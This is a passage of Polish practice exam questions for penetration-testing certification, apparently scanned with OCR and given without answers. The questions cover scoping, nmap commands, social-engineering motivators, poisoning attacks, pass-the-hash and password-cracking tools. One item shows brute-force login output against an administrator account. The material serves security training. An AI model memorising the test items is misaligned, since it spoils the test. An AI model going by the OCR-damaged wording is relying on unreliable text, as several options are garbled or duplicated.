1. Przeprowadzasz badania, ktore postuzg do okreslenia zakresu testu penetracyjnego, ktéry Twoja
firma wykona dla klienta. Jakie informacje muszg zawieraé twoje badania? (Wybierz dwa.)

A. Dlaczego test jest wykonywany?

B. Kiedy ostatni raz przeprowadzono test?

C. Jakie byty wyniki ostatniego wykonanego testu?
D. Do kogo nalezy przesyta¢ faktury?

E. Kto jest docelowym odbiorcg testu?

2. Dokumentujesz zasady zaangazowania (ROE) w nadchodzacym tescie penetracyjnym. Jakie
elementy nalezy uwzgledni¢? (Wybierz dwa.)

A. Harmonogram zaangazowania

B. Przeglad przepisdw regulujgcych konkretnie cel the

C. Lista podobnych organizacji, ktére oceniates w przesztosci
D. Lista konkurentow celu

E. Szczegdtowa mapa sieci docelowej

3. Dokumentujesz zasady zaangazowania (ROE) w nadchodzgcym tescie penetracyjnym. Ktore
elementy powiniene$ uwzgledni¢? (Wybierz dwa.)

A. Szczegdtowe procedury rozliczeniowe

B. Lista systemoOw poza zakresem

C. Lista systemdéw w zakresie

D. Zatwierdzony proces powiadamiania konkurentéw celu o zaangazowaniu

E. Procedury arbitrazowe dotyczgce rozwigzywania sporow miedzy Tobg a klientem

4. Dokumentujesz zasady zaangazowania (ROE) w nadchodzgcym tescie penetracyjnym. Jakie
elementy nalezy wzig¢ pod uwage? (Wybierz dwa.)

A. Lista adresdw IP przypisanych do systemow, ktérych uzyjesz do przeprowadzenia testu
B. W jaki sposdb przekazesz wyniki testu osobie docelowe;j?

C. Lista narzedzi do testéw penetracyjnych, ktérych bedziesz uzywac podczas testu

D. Lista referencji od bytych klientow, dla ktérych przeprowadzites testy penetracyjne

E. Lista zachowan, ktére nie s3 dozwolone ze strony celu podczas testu

5. Okreslasz zasady zaangazowania (ROE) w nadchodzacym tescie penetracyjnym. Podczas tego
procesu zdefiniowates czasy, w ktérych nie powinienes atakowac celu, liste systemdw w zakresie i poza
zakresem oraz wymagania dotyczace przetwarzania danych dla informacji gromadzonych podczas
testu. Zadzwonites réwniez do jednego z technikéw helpdesku w miejscu docelowym i otrzymates
ustng zgode na przeprowadzenie testu. Zapisates nazwisko technika i date w dokumencie ROE. Co
zrobite$ niepoprawnie w tym scenariuszu?



A. Ze wzgledu na ochrone prywatnosci nie powiniene$ byt identyfikowa¢ wewnetrznego technika z
imienia i nazwiska w dokumencie ROE.

B. Uwzglednienie czasow ,wytgczenia” zmniejsza doktadnos¢ testu.

C. ROE powinno zawiera¢ pisemng zgode kierownictwa wyzszego szczebla.

D. Wszystkie systemy powinny by¢ potencjalnymi celami podczas testu.

E. Cel nie powinien wiedzie¢, w jaki sposdb przechowujesz informacje zebrane podczas testu.

6. Przeprowadzasz rekonesans w ramach testu penetracji szarej skrzynki. Uruchamiasz skanowanie luk
w zabezpieczeniach na jednym z wewnetrznych serweréw organizacji docelowej i odkrywasz, ze port
445 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.

B. Jest to serwer HTTPS.

C. Jest to serwer SSH.

D. Jest to serwer plikow SMB.

7. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz
skanowanie podatnosci na jednym z serweréw docelowej organizacji i odkrywasz, ze port 23 jest
otwarty. Na co to wskazuje?

A. Jest to serwer DNS.
B. Jest to serwer SSH.
C. Jest to serwer Telnet.
D. Jest to serwer FTP.

8. Przeprowadzasz rekonesans w ramach testu penetracji czarnej skrzynki. Uruchamiasz skanowanie
luk w zabezpieczeniach na jednym z publicznych serwerédw docelowej organizacji i odkrywasz, ze port
20 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.
B. Jest to serwer FTP.
C. Jest to serwer SSH.
D. Jest to serwer TFTP.

9. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz
skanowanie luk w zabezpieczeniach na jednym z serwerdw organizacji docelowej i odkrywasz, ze port
69 jest otwarty. Na co to wskazuje?

A. Jest to serwer DNS.
B. Jest to kontroler domeny.
C. Jest to serwer SSH.

D. Jest to serwer TFTP.



10. Przeprowadzasz rekonesans w ramach testu penetracyjnego szarej skrzynki. Uruchamiasz
skanowanie pod katem luk w zabezpieczeniach na jednym z serwerdéw organizacji docelowej i
odkrywasz, ze kilka portéw jest otwartych, w tym 88, 135, 139, 389 i 464. Co to oznacza?

A. Jest to kontroler domeny.

B. Jest to serwer pocztowy POP3.
C. Jest to serwer SSH.

D. Jest to serwer pocztowy IMAP.

11. Penetracja wysyta wiadomos¢ e-mail typu spear phishing do pracownika docelowej organizacji,
podajgc sie za dyrektora operacyjnego. Wiadomos¢ e-mail prosi pracownika o podanie poufnych
informacji wewnetrznych. Jaki czynnik motywacyjny wykorzystat tester penetracyjny w tym
scenariuszu?

A. Wtadza

B. Niedobér

C. Dowdd spoteczny
D. Podobienstwo

12. Tester penetracyjny wysyta e-mail typu spear phishing do pracownika organizacji docelowej,
podajac sie za agenta Federalnego Biura Sledczego (FBI). Wiadomos¢ e-mail wskazuje, ze kierownik
pracownika jest badany pod kagtem defraudacji i prosi pracownika o udzielenie odpowiedzi z poufnymi
informacjami wewnetrznymi. Jaki czynnik motywacyjny wykorzystat tester penetracyjny w tym
scenariuszu?

A. Podobienstwo

B. Niedobér

C. Dowdd spoteczny
D. Wtadza

13. Penetracja wysyta wiadomos¢ e-mail typu spear phishing do pracownika organizacji docelowej,
podajac sie za wspodtpracownika, ktéry zapomniat swojego hasta. Wiadomos¢ e-mail wskazuje, ze za
kilka minut ma prezentacje i nie moze uzyskaé dostepu do plikdw prezentacji na udostepnionym dysku
sieciowym. Prosi pracownika o ,pozyczenie” jej nazwy uzytkownika i hasta, aby mogta sie zalogowac i
pobraé pliki. Jaki czynnik motywacyjny wykorzystat tester penetracyjny w tym scenariuszu?

A. Strach

B. Pospiech
C. Wtadza
D. Niedobér

14. Penetracja wysyta wiadomos¢ phishingowa do pracownikéw organizacji docelowe;j. Link w e-mailu
prowadzi do fatszywej strony internetowej, ktéra zawiera ponad 1000 recenzji ze srednig oceng 4,9
gwiazdki. Jaki czynnik motywacyjny wykorzystat tester penetracyjny w tym scenariuszu?



A. Dowdd spoteczny
B. Pospiech

C. Niedobor

D. Wtadza

15. Penetracja wysyta wiadomos¢ phishingowg do pracownikéw organizacji docelowej. Wiadomos¢ e-
mail ma oferowac iPady za absurdalnie niskg cene. Jednak w tej cenie pozostato tylko 25 sztuk.
Odsytacz w wiadomosci e-mail prowadzi do fatszywej strony internetowej, ktdra korzysta ze skryptu
driveby-download, ktéry umieszcza keylogger na komputerze pracownika. Jaki czynnik motywacyjny
wykorzystat tester penetracyjny w tym scenariuszu?

A. Strach

B. Dowdd spoteczny

C. Wtadza

D. Niedobor

16. Ktdra opcja polecenia spowoduje, ze nmap przeskanuje tylko port UDP 20 oraz porty TCP 21 22?
A.-p 20-22

B. —top-ports 1024

C.-p U:20,T:21,22

D.-p

17. Jako tester penetracji chcesz przeskanowac serwer Linux z adresem IP 192.168.1.200 w sieci
docelowej i sprawdzié, czy ma zainstalowany i uruchomiony serwer WWW. Ktére polecenia nmapa to
zrobig? (Wybierz dwa.)

A. nmap 192.168.1.200 —p http,https
B. nmap 192.168.1.200 —sn 80,443
C. nmap 192.168.1.200 —p 80 443

D. nmap 192.168.1.200 - T4 80 443

18. Jako tester penetracji chcesz przeskanowac serwer Linux z adresem IP 192.168.1.200 w sieci
docelowej w poszukiwaniu 1000 najpopularniejszych ustug sieciowych, aby sprawdzi¢, czy s3
zainstalowane i uruchomione. Jednak juz wiesz, ze ten host obstuguje ustuge DNS, wiec chcesz pomingé
ten port podczas skanowania. Ktére polecenie nmap to zrobi?

A. nmap 192.168.1.200 —p 1-1000 --wyklucz-porty 53
B. nmap 192.168.1.200 --top-ports 1000 --exclude-ports 53
C. nmap 192.168.1.200 --well-known-ports --exclude-ports 53

D. nmap 192.168.1.200 -- gérne porty 1000



19. Utworzytes liste docelowych hostéw, ktére chcesz przeskanowac za pomocg nmapa i zapisates jg
w pliku tekstowym o nazwie /root/targets.txt. Ktérego polecenia nalezy uzy¢, aby uruchomié
skanowanie przy uzyciu tego pliku?

A. nmap -iR /root/targets.txt
B. nmap --plik /root/targets.txt
C. nmap -iL /root/targets.txt
D. nmap -iF /root/targets.txt

20. Tester penetracji chce przeprowadzi¢ skanowanie portéw na wszystkich hostach w podsieci
192.168.1.0 (z maska podsieci 255.255.255.0) bez uprzedniego wykrywania hostéw. Ktérego polecenia
powinna uzy¢?

A.nmap 192.168.1.0/24 -Pn
B. nmap 192.168.1.0/24 -sL
C. nmap 192.168.1.0/24 -sn
D. nmap 192.168.1.0/24 —n

21. Przeprowadzasz test penetracyjny z czarng skrzynkg dla matej instytucji finansowej. Uzywajac
pretekstu, mozesz uzyska¢ dostep do obiektu docelowego, udajac naprawiajgcego kopiarki.
Przechodzac przez budynek, zauwazasz, ze prawie wszyscy pracownicy zapisali swoje (zbyt
skomplikowane) hasta na karteczkach samoprzylepnych i umiescili je na monitorach i klawiaturach
komputerow. Niektére z nich sg tak oczywiste, ze mogg je zobaczy¢ wytrawni klienci. Stanowi to
kuszacy cel do wykorzystania; jednak zdajesz sobie sprawe z bezposredniego ryzyka zwigzanego z tg
praktyka. Zamiast czeka¢ do korica testu, natychmiast komunikujesz sie z klientem, aby ostrzec go, ze
poswiadczenia sg wyraznie widoczne. Jaki typ wyzwalacza komunikacji zostat uzyty w tym scenariuszu?

A. Wskazniki wcze$niejszego kompromisu
B. Krytyczne ustalenia

C. Sciezka komunikacyjna

D. Etapy

22. Przeprowadzasz test penetracyjny biatej skrzynki dla klienta. Podczas testu mozna zauwazy¢, ze
wszystkie stacje robocze uzytkownikéw koncowych sg skonfigurowane tylko z domysinym skanerem
antywirusowym systemu Windows. Zauwazasz ponadto, ze wielu uzytkownikéw koricowych uzywa do
wykonywania swojej codziennej pracy aplikacji, ktéra jest znanym koniem trojariskim powszechnie
uzywanym do tworzenia botnetu. Zamiast czeka¢ do konca testu, natychmiast komunikujesz sie z
klientem, aby go ostrzec. Jaki typ wyzwalacza komunikacji zostat uzyty w tym scenariuszu?

A. Wskazniki wczesniejszego kompromisu
B. Krytyczne ustalenia
C. Sciezka komunikacyjna

D. Etapy



23. Przeprowadzasz test penetracyjny PCI DSS dla klienta. Podczas procesu testowania niebezpieczny
exploit ransomware zaczyna rozprzestrzenia¢ sie miedzy sieciami na catym swiecie. Klient prosi o
zatrzymanie testu penetracyjnego PCI DSS i sprawdzenie, czy jego sie¢ jest podatna na ten nowy typ
ztosliwego oprogramowania. Ktéry termin najlepiej opisuje, co wydarzyto sie w tym scenariuszu?

A. Swiadomo$¢ sytuacyjna

B. Zmiana priorytetéw celéw

C. Wskazniki wczesniejszego kompromisu
D. Poswiadczenie ustalen

24. Przeprowadzasz test penetracyjny szarej skrzynki dla klienta. Podczas procesu testowania
zauwazysz, ze ich sie¢ bezprzewodowa uzywa stabego szyfrowania z kluczem wstepnym (000000001),
ktory jest tatwy do ztamania metody brute-force. Co wiecej, mozna zauwazy¢, ze klient wdrozyt
wielokierunkowe punkty dostepu w catym obiekcie. Podejrzewasz, ze sygnat bezprzewodowy
rozchodzi sie daleko poza budynkiem. Kontaktujesz sie z klientem i zalecasz modyfikacje testu tak, aby
obejmowat testowanie sieci Wi-Fi z perspektywy czarnej skrzynki. Ktory termin najlepiej opisuje, co
wydarzyto sie w tym scenariuszu?

A. Zmiana priorytetéw celéw

B. Poswiadczenie ustalen

C. Wskazniki wczesniejszego kompromisu
D. Swiadomos¢ sytuacyjna

25. Ktére z ponizszych termindw odnosi sie do procesu gromadzenia danych generowanych przez
rézne narzedzia w tescie penetracyjnym i formatowania danych w spdjny sposdb, tak aby mozna je
byto fatwo odczytac?

A. Poswiadczenie ustalen
B. Normalizacja danych
C. Remediacja

D. Dyspozycja raportow

26. Ktdry z ponizszych jest jezykiem definicji interfejsu opartym na XML, uzywanym do opisu
funkcjonalnosci oferowanej przez serwer SOAP (Simple Object Access Protocol)?

A. Jezyk opisu ustugi sieciowej (WSDL)

B. Jezyk opisu aplikacji internetowych (WADL)

C. Przeniesienie stanu przedstawicielskiego (REST)
D. Swagger

27. Ktéra z ponizszych architektur jest uzywana do zapewnienia opartego na jezyku XML opisu ustug
internetowych opartych na protokole HTTP dziatajgcych na serwerze aplikacji internetowych i jest
powszechnie uzywana w aplikacjach internetowych Representational State Transfer (REST)?

A. Prosty protokot dostepu do obiektow (SOAP)



B. Jezyk opisu aplikacji internetowych (WADL)
C. Przeniesienie stanu przedstawicielskiego (REST)
D. Swagger

28. Ktdra z ponizszych specyfikacji jest specyfikacjg World Wide Web Consortium (W3C), ktdra okresla
sposoéb definiowania elementéw w dokumencie XML?

A. SOAP
B. XSD
C. REST
D. WSDL

29. Przygotowujesz test penetracyjny biatej skrzynki dla klienta. Celem jest sprawdzenie, czy mozesz
uzyskac¢ dostep do poufnych danych badawczych przechowywanych na wewnetrznym serwerze bazy
danych. Celem jest stworzenie wewnetrznie opracowane] aplikacji do gromadzenia danych, ktorej
uzytkownicy koncowi klienta uzywajg na co dzien do katalogowania i przechowywania informacji w
bazie danych. Jakie informacje powinien udzieli¢ Ci klient przed rozpoczeciem testu?

A. Pliki konfiguracyjne

B. Diagramy przeptywu danych

C. Dokumentacja zestawu programistycznego (SDK)
D. Wszystkie powyzsze

30. Sprawdzasz dla klienta test penetracyjny biatej skrzynki. Celem jest sprawdzenie, czy mozna
uzyska¢ dostep do poufnych danych pacjenta przechowywanych na wewnetrznym serwerze bazy
danych. Co klient powinien zrobi¢ przed rozpoczeciem testu? (Wybierz dwa.)

A. Umies¢ konta uzytkownikéw testeréw na czarnej liscie w ich systemie ochrony przed wtamaniami
(IPS).

B. Dodaj konta uzytkownikéw testeréw do biatej listy w ich systemie ochrony przed wtamaniami (IPS).
C. Skonfiguruj zapory sieciowe, aby dziataty w trybie awaryjnym.

D. Skonfiguruj wyjatki bezpieczenstwa, ktére pozwolg systemom testeréw penetracyjnych na
ominiecie kontroli dostepu do sieci (NAC).

E. Skonfiguruj zapory sieciowe, aby dziataty w trybie awaryjnym.

31. Przeprowadzasz test penetracji szarej skrzynki. Podczas procesu wyliczania i tworzenia odciskéw
palcow odkrytes, ze wewnetrzna witryna internetowa w sieci organizacji docelowej dziata na bardzo
starej wers;ji lIS. Musisz sprawdzié, czy istniejg jakie$ luki zwigzane z tym starszym serwerem sieciowym,
ktore mozesz wykorzystaé. Ktére zrédto badan typu open source mozesz wykorzystaé?

A. CVE
B. Petne ujawnienie

C.NVD



D. Wszystkie powyzsze

32. Styszeliscie, ze firma Adobe wfasnie wydata aktualizacje zabezpieczen, ktéra usuwa luki wykryte
niedawno w programie Photoshop. Z ktérego zrédta badan typu open source mozesz dowiedzie¢ sie
wiecej o aktualizacji i o lukach, ktére ma ona naprawié¢?

A. CERT

B. Petne ujawnienie
C. CAPEC

D. NVD

33. Styszates, ze krazy nowy exploit bezpieczenstwa fizycznego, w ktérym atakujacy uzywa specjalnego
typu klucza zwanego kluczem uderzeniowym. Ktdére zrédlo badan typu open source
najprawdopodobniej zawieratoby informacje o tym, jak dziata ten exploit?

A. CAPEC

B. Petne ujawnienie

C.NVD

D. CVE

34. Ktore zrodto badan typu open source klasyfikuje luki w zabezpieczeniach wedtug ich wagi?
A. CERT

B. Petne ujawnienie

C.CVE

D.NVD

35. Wykonujac wyliczanie i odciski palcdw podczas testu penetracyjnego szarej skrzynki, odkrywasz, ze
dziat dokumentacji i szkolern w organizacji docelowej przechowuje swoje pliki w systemie Windows
Server 2003, ktéry nadal jest na poziomie poprawki SP2, poniewaz nikt nie zadaje sobie trudu, aby go
aktualizowac. Chcesz zbadac¢ sposoby wykorzystania tego starszego serwera. Ktére zrédto badan typu
open source mozesz wykorzystacé?

A. CVE

B. CAPEC

C.CWE

D. Zadne z powyzszych

36. Ktdére z ponizszych jest mechanizmem, ktédry mozna wykorzysta¢ do obrony przed atakami
zatruwania DNS?

A. Zaimplementuj DNSSEC.
B. Zamknij port 53 w zaporze hosta serwera DNS.

C. Wytacz przekazywanie ICMP w konfiguracji routera.



D. Uzyj SSH do zapytan DNS.

37. Tester penetracyjny przeprowadza test penetracyjny szarej skrzynki. Tworzy exploit konia
trojanskiego, ktory oprdznia pamiec podreczng DNS na lokalnej stacji roboczej i zastepuje jg wpisami
rozpoznawania ztosliwych nazw, ktére wskazujg na fatszywy serwer WWW. Gdy klienci w organizacji
probuja rozwigzaé nazwy hostéw, uzywane sg ztosliwe wpisy z lokalnej pamieci podrecznej DNS. Jak
nazywa sie ten exploit?

A. Zatrucie DNS

B. Zatrucie ARP

C. Zatrucie pamieci podrecznej DNS
D. Man-in-the-middle

38. Tester penetracyjny przeprowadza test penetracyjny szarej skrzynki. Zauwaza, ze jeden z oddziatéw
organizacji uzywa serwera DNS tylko do buforowania do obstugi zadan rozpoznawania nazw. Wysyta
fatszywa odpowiedz na zgdanie rozwigzania nazwy z serwera DNS buforujgcego tylko, uzywajac
sfatszowanego adresu Zzrédtowego w pakietach odpowiedzi. Rekordy rozpoznawania fatszywych nazw
wskazujg uzytkownikom fatszywy serwer sieciowy uzywany do przechwytywania poswiadczen
uwierzytelniania. Jak nazywa sie ten exploit?

A. Zatrucie DNS

B. Zatrucie ARP

C. Zatrucie pamieci podrecznej DNS
D. Man-in-the-middle

39. Podczas przeprowadzania testu penetracyjnego w szarej strefie tester odkrywa, ze kilka stacji
roboczych z systemem Linux w sieci nie zostato przytagczonych do domeny Active Directory organizacji,
mimo ze majg zainstalowang ustuge Samba. Aby uzyskaé dostep do folderéw wspotdzielonych na
serwerach Windows, te stacje robocze uzywajg potaczen NT LAN Manager (NTLM). Tester
przechwytuje zaszyfrowane dane uwierzytelniajgce uzytkownika, gdy sa one przekazywane miedzy
stacjami roboczymi i serwerami, a nastepnie wykorzystuje je pdzniej w celu ustanowienia nowych
uwierzytelnionych sesji z serwerami plikow. Jak nazywa sie ten exploit?

A. Zatrucie ARP
B. Fraggle atak
C. Obejscie NAC
D. Podaj hasz

40. Podczas testu penetracji szarej skrzynki tester wysyta fatszywg wiadomos¢ rozgtoszeniowg ARP w
lokalnym segmencie sieci. W rezultacie adres MAC jej laptopa jest teraz mapowany na adres IP innego
prawidtowego komputera w segmencie. Jak nazywa sie ten exploit?

A. Zatrucie pamieci podrecznej DNS
B. Spoofing ARP

C. Podaj hasz



D. Powtdrz atak

41. Jako tester penetracji chcesz poprawic szybkosé tamania haset, budujgc wyspecjalizowany system
z zainstalowanymi wieloma kartami wideo. Ktére narzedzie moze wykorzystaé wiele procesoréw
graficznych do tamania haset?

A. proxychains

B. John the Ripper
C. hashcat

D. theHarvester

42. Podczas testu penetracyjnego administrator systemu sprawdza dziennik serwera Linux i zauwaza
tysigce nieudanych préb logowania. Jakiego narzedzia moze uzywac tester penetracyjny? (Wybierz
dwa.)

A. Hydra
B. YASCA
C. nmap
D. Tableau
E. Medusa

43. Rozwaz nastepujacy obraz

ACCOUNT CHECK: [smbnt] Host: 10,0.0.4 {1 of 1, 0 complete] User: administrator (1 of 1, O complete) Password: (1 of 235 complate)

ACCODNT CHECK: [smbnt] Wost: 10.9.0.4 (1 of 1, 0 conplete] User: administrator (1 of 1, O complete) Password: administrator (2 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10,0.0.4 (1 of 1, 0 complete] user: administrator (1 of 1, O complete) Password: 123456 (3 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete] User: administrator (1 of 1, O complete) Password: password (4 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 16.8.0.4 (1 of 1, 0 complete] User: administrator (1 of 1, 8 complete) Password: 12345678 (5 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 16.6.0.4 (1 of 1, 0 complete] User: administrator (1 of 1, © complete) Password: qwerty (6 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete] User: administrator (1 of 1, O complete) Password: 123456789 (7 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 16.0.6.4 {1 of 1, 0 complete) User: administrater (1 of 1, O complete) Password: 12345 (B8 of 235 complete)
ACCOUNT CHECK: [smbnt) Host: 10.8.6.4 (1 of 1, 0 complete] User: administrater (1 of 1, © complete) Password: 1234 (9 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 {1 of 1, 0 complete] User: administrator (1 of 1, O complete) Password: 111111 (10 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.8.6.4 (1 of 1, 0 complete] User: administrater (1 of 1, © complete) Password: 1234567 (11 of 235 complete]
ACCOUNT CHECK: [smbnt] Host: 1€.9.6.4 (1 of 1, 0 complete] User: administrator (1 of 1, © complete) Password: dragon (12 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.0.4 (1 of 1, 0 complete) User: administrator (1 of 1, O complete) Password: 123123 (13 of 235 complete)
ACCOUNT CHECK: [smbnt] Hest: 10.0.0.4 (1 of 1, 0 complete] User: administratoer (1 of 1, O complete) Password: baseball (14 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 16.0.6.4 (1 of 1, 0 complete] User: administrator (1 of 1, 8 complete) Password: abcl2® (15 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 1©.9.0.4 (1 of 1, 0 complete] User: administrator (1 of 1, O complete) Password: football (16 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 10.0.6.4 (1 of 1, 0 complete) User: administrater (1 of 1, © complete) Password: monkey (17 of 235 complete)
ACCOUNT CHECK: [smbnt] Host: 16.9.6.4 (1 of 1, 0 complete) User: administrator (1 of 1, B complete) Password: letmein (18 of 235 completa)

Ktére narzedzie do testowania penetracji zostato uzyte do wygenerowania tego wyniku?
A. Maltego

B. Medusa

C. netcat

D. Metasplot

44. Wykonujac test penetracyjny czarnej skrzynki, tester chce zindeksowac witryne organizacji
docelowej i zebra¢ stowa kluczowe, ktére mogg by¢ uzywane przez pracownikéw jako hasta, i zapisac
je na liscie. Tester uruchomi nastepnie narzedzie do hasta brute-force, korzystajac z tej listy, prébujac
uzyskac dostep. Jakiego narzedzia nalezy uzy¢ do utworzenia mozliwego pliku z hastami?

A. hashcat



B. CeWL
C. netcat
D. Hydra

45. Ktére z ponizszych narzedzi jest narzedziem brute-force, ktérego mogg uzywac testerzy penetracji
do wykrywania katalogdw i plikdw na serwerze sieciowym?

A. ncat

B. Powersploit
C. FOCA

D. Dirbuster

46. Ktdrego z ponizszych narzedzi mozna uzy¢ do przywrdcenia oryginalnego hasta w postaci zwyktego
tekstu ze skrétu tego hasta?

A. proxychains

B. John the Ripper
C. Arainbow table
D. TheHarvester

47. Ktéra z ponizszych opcji jest powszechnie uzywana do zapobiegania atakom polegajgcym na
wykonywaniu obliczen wstepnych na hasta zaszyfrowane przez dodanie losowych bitéw do operacji
mieszania?

A. Solenie

B. Odwracanie haszu

C. Korzystanie z OTP

D. Wdrazanie uwierzytelniania wielosktadnikowego

48. Ktdra z ponizszych opcji jest czesto uzywana do zapobiegania atakom z wyprzedzeniem na hasta
zaszyfrowane przez wielokrotne uruchamianie wartosci do zaszyfrowania za pomocag funkcji
mieszajacej?

A. Solenie

B. Kluczowe rozcigganie

C. Szyfrowanie symetryczne
D. Szyfrowanie asymetryczne

49. Wiasnie zakonczytes test penetracyjny dla klienta. W swoich ustaleniach zgtaszasz, ze uzytkownicy
sg zobowigzani do podania nazwy uzytkownika i hasta w celu uwierzytelnienia. Zaleca sie, aby
organizacja zaimplementowata uwierzytelnianie wielosktadnikowe. Ktore z ponizszych czynnosci moga
wymagaé od uzytkownikéw podania podczas uwierzytelniania, aby to osiggnac?

A. PIN.



B. Hasto.
C. Skanowanie linii papilarnych.

D. Zadne z powyzszych. Uwierzytelnianie wielosktadnikowe jest juz wdrozone i wymaga podania nazwy
uzytkownika i hasta.

50. Jesli chodzi o uwierzytelnianie wielosktadnikowe, ktdre z ponizszych jest przyktadem czegos, co
znasz?

A.PIN

B. Hasto jednorazowe (OTP)
C. Skanowanie biometryczne
D. Token RSA

51. Ktéry z ponizszych podmiotow atakujgcych jest prawdopodobnie najmniej niebezpieczny na
podstawie listy poziomodw przeciwnikéw?

A. Haktywista

B. Ztosliwy insider

C. Script kiddie

D. Aktor panstwa narodowego

52. Ktéry z ponizszych podmiotéw atakujgcych jest prawdopodobnie najbardziej niebezpieczny na
podstawie listy poziomdéw przeciwnikéw?

A. Haktywista

B. Ztosliwy insider

C. Aktor przestepczosci zorganizowanej
D. APT

53. Przeprowadzasz test penetracyjny dla klienta. Uzywasz zestawu narzedzi do testowania penetracji
dziatajgcego na osobistym laptopie, aby przeprowadzaé skanowanie réznych urzadzen infrastruktury
sieciowej, w tym serwerow, routeréow i przetgcznikéw. Nagle sie¢ pociemniata. Nie masz juz dostepu
do zadnych urzadzen w sieci klienta. Ktore z ponizszych moze wyjasnic, co sie stato?

A. Twoje skany spowodowaty awarie routera obwodowego.

B. Twoje skany spowodowaty awarie przetacznika w sieci szkieletowej.
C. Adres IP Twojego laptopa zostat umieszczony na biatej liscie.

D. Adres IP twojego laptopa zostat umieszczony na czarne;j liscie.

54. Pracujesz dla firmy konsultingowej zajmujgcej sie testami penetracyjnymi i negocjujesz z
potencjalnym klientem. Klient zasugerowat, aby Twoja organizacja podpisata umowe MSA ze swojg
organizacjy. Co powinienes zrobi¢?

A. Swietuj! Oznacza to, ze klient chce zaangazowac Twojg firme do wielu zlecen.



B. Poinformuj swojego pracodawce, ze transakcja prawdopodobnie nie dojdzie do skutku.

C. Ostrzez swojego pracodawce, ze potencjalny klient prawdopodobnie bedzie prébowat pozwad
Twoja firme.

D. Zakonczenie negocjacji z klientem.

55. Przeprowadzasz test penetracyjny biatej skrzynki dla klienta. Docierasz do witryny klienta i
podtaczasz laptopa do otwartego gniazda sieciowego. Jednak twdj laptop odbiera tylko ograniczong
tacznos¢ w sieci klienta. Uruchamiasz polecenie ipconfig i zauwazasz, ze twoj laptop otrzymat adres IP,
ale mozesz zobaczy¢ tylko jednego innego hosta w sieci. Dlaczego sie to stato?

A. Twéj laptop zostat wykryty przez system ochrony przed wtamaniami (IPS) klienta i zostat
umieszczony na czarnej liscie.

B. System kontroli dostepu do sieci (NAC) klienta poddat laptop kwarantannie w sieci naprawczej.

C. Twdj laptop zostat wykryty przez system wykrywania wtaman (IDS) klienta i zostat umieszczony na
czarnej liscie.

D. Klient wiaczyt filtrowanie adreséw MAC na swoich przetgcznikach sieciowych.

56. Podczas wykonywania testu penetracji czarnej skrzynki zauwazasz, ze organizacja docelowa
posiada serwer publiczny, ktéry ma wygasty certyfikat bezpieczenstwa SSL/TLS. Co mozesz
wywnioskowac z tego faktu?

A. Komunikacja serwera moze by¢ odszyfrowana.

B. Serwer zostat juz skompromitowany przez atakujgcego.

C. Wewnetrzny administrator systemu nie zwraca uwagi na ten serwer.
D. Dane przechowywane na serwerze mozna odszyfrowac.

57. Przeprowadzasz test penetracji szarej skrzynki. Wtasnie zakonczytes przeprowadzanie obszernych
skanéw podatnosci na wszystkie hosty w sieci docelowej. Musisz teraz skategoryzowac wszystkie
zeskanowane urzgdzenia. Ktdry z ponizszych sposobdw jest prawidtowym sposobem kategoryzacji
zasobow?

A. Wedtug systemu operacyjnego
B. Wedtug wartosci aktywoéw

C. Wedtug liczby znalezionych luk
D. Wedtug wagi podatnosci

E. Wszystkie powyzsze

58. Przeprowadzasz test penetracji czarnej skrzynki. Oceniasz wyniki skanowania podatnosci. Po
dalszej inspekcji odkrywasz, ze jedna z najpowazniejszych luk zidentyfikowanych przez skaner na
serwerze sieciowym organizacji docelowej w rzeczywistosci nie istnieje. Ktére z ponizszych moze
wyjasnié, co sie stato?

A. Skaner wygenerowat fatszywie pozytywny wynik.

B. Atakujacy gdzie$ w Internecie wykryt Twdj skan i ukryt luke.



C. Wewnetrzny administrator wykryt skan i naprawit luke.

D. Serwer zostat zainfekowany ztosliwym oprogramowaniem i powoduje nietypowe wyniki
skanowania.

59. Przeprowadzasz test penetracyjny szarej skrzynki i wtasnie zakonczytes skanowanie podatnosci,
kategoryzowanie wynikéw i ocenianie danych. Teraz musisz ustali¢ priorytety luk w zabezpieczeniach
przed przejsciem do nastepnej fazy testu. Ktéra z ponizszych moze stanowi¢ luki o najwyzszym
priorytecie do wykorzystania? (Wybierz dwa.)

A. Kontroler domeny dziata na starszej wersji systemu Windows Server i brakuje kilku krytycznych
aktualizacji zabezpieczen.

B. W komputerze stacjonarnym uzytkownika brakuje aktualizacji funkcji systemu Windows.
C. Komputer stacjonarny uzytkownika dziata na wczesniejszej wersji systemu Ubuntu Linux.
D. Serwer bazy danych jest podatny na exploit WannaCry.

60. Priorytetujesz luki wykryte podczas skanowania luk. Jedna znaleziona przez Ciebie podatnos¢ ma
ocene Common Vulnerability Scoring System (CVSS) 3,8. Do jakiej kategorii ryzyka nalezy ta podatnos¢?

A. Niski

B. Sredni

C. Wysoki

D. Krytyczne

61. Podczas wykonywania testu penetracji szarej skrzynki masz

odkryli, ze organizacja docelowa uzywa na swoich komputerach wielu rdinych systeméw
operacyjnych. Pobrates odcisk palca systeméw Windows, Mac OS i Linux. Znalazte$ nawet jeden system
serwerowy UNIX. Ponadto pracownicy przynoszg swoje urzgdzenia mobilne do pracy i faczg je z siecig
bezprzewodowa organizacji, dzieki czemu mozna znalez¢é wiele urzadzen z systemem Android i iOS. Na
tym etapie testu musisz zidentyfikowac luki w zabezpieczeniach systemu operacyjnego, ktére
wystepujg w urzgdzeniach o wysokiej wartosci. Co powinienes zrobi¢?

A. Zbadaj baze danych Common Vulnerabilities and Exposures (CVE).

B. Zbadaj baze danych Common Attack Pattern, Enumeration and Classification (CAPEC).

